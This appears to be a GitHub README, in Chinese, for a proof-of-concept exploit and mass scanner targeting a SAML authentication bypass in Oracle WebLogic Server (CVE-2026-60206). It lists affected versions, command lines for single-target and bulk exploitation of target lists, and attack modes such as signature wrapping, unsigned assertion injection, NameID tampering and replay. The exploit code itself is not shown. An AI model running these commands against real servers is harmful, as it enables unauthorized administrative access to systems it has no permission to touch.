imbas007/POC-CVE-2026-60206
GitHub: imbas007/POC-CVE-2026-60206
针对 Oracle WebLogic Server SAML 认证绕过漏洞 CVE-2026-60206 的多模式漏洞利用与批量扫描工具。
Stars: 0 | Forks: 0
# CVE-2026-60206 — Oracle WebLogic SAML 认证绕过
[](https://nvd.nist.gov/vuln/detail/CVE-2026-60206)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-60206)
**CVSS 9.9** — Oracle WebLogic Server Core 中的 SAML 认证绕过。
受影响版本：`12.2.1.4.0` `14.1.1.0.0` `14.1.2.0.0` `15.1.1.0.0`
## 安装
```
git clone https://github.com/imbas007/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
```
## 使用方法
### 单一目标
```
# 检测版本 + SAML 端点
python3 CVE-2026-60206-exploit.py -t https://target:7002 --detect
# 完整 exploit（所有攻击向量）
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all -u weblogic
# 特定模式
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode combo -u admin -v
# 使用 proxy
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all --proxy http://127.0.0.1:8080 --no-verify
```
### 批量扫描
```
# 仅检测
python3 CVE-2026-60206-exploit.py -l targets.txt -o results.json
# 检测 + exploit（更快）
python3 CVE-2026-60206-exploit.py -l targets.txt --exploit --no-verify -T 30 -o results.json
# 单 URL mass 模式
python3 CVE-2026-60206-exploit.py -l https://target:7002 --exploit
```
**目标文件**（每行一个）：
```
192.168.1.100:7002
https://10.0.0.50
example.com
```
### 列出攻击模式
```
python3 CVE-2026-60206-exploit.py --list-modes
```
## 攻击模式
| 模式 | 描述 |
|------|-------------|
| `unsigned` | 未签名 SAML 断言注入 |
| `xsw` | XML 签名包装（4 种变体） |
| `nameid` | NameID 篡改 / 注释注入 |
| `combo` | **组合攻击：XSW + 未签名 + NameID** ⭐ |
| `audience` | AudienceRestriction 绕过 |
| `conditions` | 时间/有效期限制绕过 |
| `replay` | SAML 响应重放 |
| `all` | 运行所有模式 |
## 项目结构
```
CVE-2026-60206/
├── CVE-2026-60206-exploit.py # Main script (single + mass)
├── mass_scan.py # Mass scanner module
├── modules/
│ ├── samlib.py # SAML manipulation (XSW, NameID, etc.)
│ ├── weblogic_client.py # WebLogic HTTP client
│ └── logger.py # Colored logging
├── requirements.txt
└── README.md
```
## 参考
- [Oracle 2026 年 7 月 CPU](https://www.oracle.com/security-alerts/cpujul2026.html)
- [NVD: CVE-2026-60206](https://nvd.nist.gov/vuln/detail/CVE-2026-60206)
- [WebLogic SAML CVE-2018-2933 & CVE-2018-2998](https://pulsesecurity.co.nz/articles/WebLogic-SAML-Vulnerabilities)
标签：CISA项目, Python, SAML, WebLogic, 加密, 无后门, 无服务器架构, 漏洞扫描器, 逆向工具